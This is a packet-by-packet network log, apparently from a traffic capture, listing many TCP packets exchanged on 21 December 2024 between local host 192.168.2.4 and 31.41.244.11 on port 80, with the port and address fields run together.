                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.927870989 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.927927971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.927980900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.928124905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.928179026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.928189039 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.928234100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.929486036 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.929538965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.929539919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.929584980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.930563927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.930619955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.930620909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.930664062 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.931407928 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.931458950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.931525946 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.931575060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.932538033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.932575941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.932590008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.932626009 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.933585882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.933636904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.933706999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.933756113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.934689999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.934740067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.934807062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.934858084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.935820103 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.935872078 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.935966969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.936099052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.936949015 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.936996937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.937062979 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.937114000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.938000917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.938052893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.938190937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.938244104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.939133883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.939168930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.939187050 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.939213037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.940212011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.940268993 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.940347910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.940398932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.941396952 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.941448927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.941519976 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.941566944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.942426920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.942477942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.942543030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.942594051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.943599939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.943649054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.943654060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.943705082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.944647074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.944698095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.944756985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.944806099 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.945766926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.945818901 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.945877075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.945926905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.946855068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.946906090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.946959972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.947010994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.947973967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.948029041 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.948103905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.948151112 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.949126959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.949178934 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.949254990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.949306965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.950213909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.950267076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.950340986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.950391054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.951383114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.951431990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.951505899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.951553106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.952395916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.952445030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.952584028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.952635050 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.953510046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.953564882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.953598022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.953644991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.954700947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.954752922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.954756975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.954802990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.955720901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.955769062 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.955853939 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.955902100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.956840038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.956897020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.956944942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.956994057 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.957942963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.957994938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.958061934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.958110094 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.959117889 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.959172010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.959197044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.959244013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.960289001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.960350037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.960396051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.960447073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.961287975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.961338997 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.961343050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.961386919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.962383032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.962435007 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.962436914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.962483883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.963464022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.963516951 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.963613033 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.963660955 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.964576006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.964627028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.964631081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.964677095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.965723038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.965766907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.965883017 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.965925932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.966789961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.966837883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.966912985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.966960907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.967905045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.967962027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.968007088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.968055010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.969024897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.969075918 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.969079971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.969129086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.970153093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.970204115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.970206022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.970252037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.971218109 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.971271038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.971272945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.971328974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.972371101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.972419977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.972489119 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.972539902 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.973709106 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.973767042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.973798990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.973850965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.974560022 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.974626064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.974694967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.974746943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.975646973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.975702047 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.975764990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.975816011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.976955891 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.977010012 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.977035046 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.977085114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.977884054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.977936983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.978017092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.978068113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.978967905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.979022026 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.979120970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.979171991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.980159998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.980212927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.980215073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.980262041 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.981229067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.981277943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.981350899 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.981399059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.982306004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.982352972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.982420921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.982466936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.983390093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.983443022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.983520031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.983566999 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.984520912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.984571934 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.984639883 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.984688044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.985584021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.985635042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.119858027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.119947910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.119951963 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.119999886 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.120166063 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.120218992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.120373011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.120426893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.120444059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.120491028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.121532917 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.121598959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.121658087 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.121718884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.122587919 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.122700930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.122734070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.122785091 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.123718977 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.123773098 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.123811007 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.123862982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.124779940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.124833107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.124874115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.124923944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.126061916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.126122952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.126137018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.126188993 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.127017975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.127072096 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.127140045 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.127186060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.128128052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.128180981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.128232002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.128276110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.129236937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.129283905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.129390001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.129432917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.130383968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.130429983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.130492926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.130537987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.131596088 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.131647110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.131735086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:16.131786108 CET4976080192.168.2.431.41.244.11
